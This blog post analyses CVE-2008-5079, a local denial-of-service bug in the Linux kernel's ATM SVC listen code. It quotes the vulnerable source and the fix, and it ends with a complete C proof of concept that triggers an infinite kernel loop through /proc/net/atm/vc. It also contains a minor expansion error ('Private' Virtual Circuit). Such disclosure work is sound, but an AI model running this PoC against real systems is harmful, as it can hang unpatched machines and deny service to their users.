CVE-2008-5079: Linux ATM Local DoS
This vulnerability was found by Hugo Dias on 14 November 2008 and publicly disclosed on 5 December 2008 as you can see here. This ATM vulnerability affects Linux kernel up to 2.6.27.8 release and the bug can be found at net/atm/svc.c. Here is the code taken from Linux kernel 2.6.27.8 release. For those of you that don’t now what SVC sockets are, they are just common sockets for ATM networks that are Switched Virtual Circuit architecture (if you don’t know either what this is, then maybe you should read your A. Tanenbaum’s Computer Networks copy again). Here is the vulnerable function:
281 282 static int svc_listen(struct socket *sock,int backlog) 283 {
This function can be reached through listen(2) system call when managing ATM SVC sockets. Now, if we continue with this function, we are going to see this:
284 DEFINE_WAIT(wait); 285 struct sock *sk = sock->sk; 286 struct atm_vcc *vcc = ATM_SD(sock); 287 int error; 288 289 pr_debug("svc_listen %p\n",vcc); 290 lock_sock(sk); 291 /* let server handle listen on unbound sockets */ 292 if (test_bit(ATM_VF_SESSION,&vcc->flags)) { 293 error = -EINVAL; 294 goto out; 295 } 296 vcc_insert_socket(sk); 297 set_bit(ATM_VF_WAITING, &vcc->flags); 298 prepare_to_wait(sk->sk_sleep, &wait, TASK_UNINTERRUPTIBLE);
Nothing notable apart from the call to vcc_insert_socket() which is used to insert the socket descriptor to the VCC and can be found at net/atm/common.c. Have a look at line 292. You can see that VCC’s (Virtual Channel Connection) flags of the ATM device are checked against P2MP session control descriptor but it is not checked against ATM_VF_LISTEN which is used to mark a socket if it’s used for listening. This means that we can have more than one descriptors liten(2)ing on the same ATM SVC socket. This was bug was fixed simply by adding this:
} - vcc_insert_socket(sk); + if (test_bit(ATM_VF_LISTEN, &vcc->flags)) { + error = -EADDRINUSE; + goto out; + } set_bit(ATM_VF_WAITING, &vcc->flags);
And placing the call to vcc_insert_socket() after like this:
set_bit(ATM_VF_LISTEN,&vcc->flags); + vcc_insert_socket(sk); sk->sk_max_ack_backlog = backlog > 0 ? backlog : ATM_BACKLOG_DEFAULT;
This by itself might seem harmless but as H. Dias found, this will generate unassigned PVC (Private Virtual Circuit) and/or SVC (Switched Virtual Circuit) entries. These are accessible through /proc/net/atm/vc file, but as he pointed out when net/atm/proc.c tries to access these entries it enters an infinite loop. Here is how this is done:
72 static inline int compare_family(struct sock *sk, int family) 73 { 74 return !family || (sk->sk_family == family); 75 }
This inline function is used to check the socket against a socket family which is passed as argument. Next, there is a function that iterates through every VCC entry which is this:
77 static int __vcc_walk(struct sock **sock, int family, int *bucket, loff_t l) 78 { 79 struct sock *sk = *sock; ... 92 for (; sk; sk = sk_next(sk)) { 93 l -= compare_family(sk, family); 94 if (l < 0) 95 goto out; 96 } ... 104 return (l < 0); 105 }
Here you can see at line 92 that the for loop keeps iterating through the sockets until it reaches a NULL. Of course, because of the previous vulnerability on ATM SVC listen(2) we can make it access out of bounds entries which can only be stopped if compare_family() iterates enough times to make l a negative integer or if a NULL entry is reached. To reach this code we can view the contents of /proc/net/atm/vc. By doing this, we’re indirectly calling this function to provide us with a listing. Here is my extremely simple PoC for this vulnerability:
#include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/types.h> /* You can also try /proc/net/atm/scv and /proc/net/atm/pvc */ #define PROCF "/proc/net/atm/vc" #define DDP 37 int main(void) { int fd, sd, r; char buf[1024*4]; printf("[+] Opening ATM SVC socket\n"); if ((sd = socket(PF_ATMSVC, 0, DDP)) == -1) { printf("[-] Failed at creating ATM socket\n"); return -1; } printf("[+] Assigning the first listen\n"); if (listen(sd, 10) == -1) { printf("[-] Failed on first listen call\n"); _exit(-1); } printf("[+] Assigning the second listen\n"); if (listen(sd, 2) == -1) { printf("[-] Failed on the second listen call\n"); _exit(-1); } printf("[+] Opening " PROCF " file\n"); if ((fd = open(PROCF, O_RDONLY)) == -1) { printf("[-] Failed on opening file.\n"); _exit(-1); } printf("[+] Trying to enter infinite loop\n"); printf("[+] " PROCF " contents:\n"); if ((r = read(fd, buf, sizeof(buf)-1)) != -1) { buf[r] = 0; printf("%s", buf); close(fd); close(sd); } return 0; }
Leave a Reply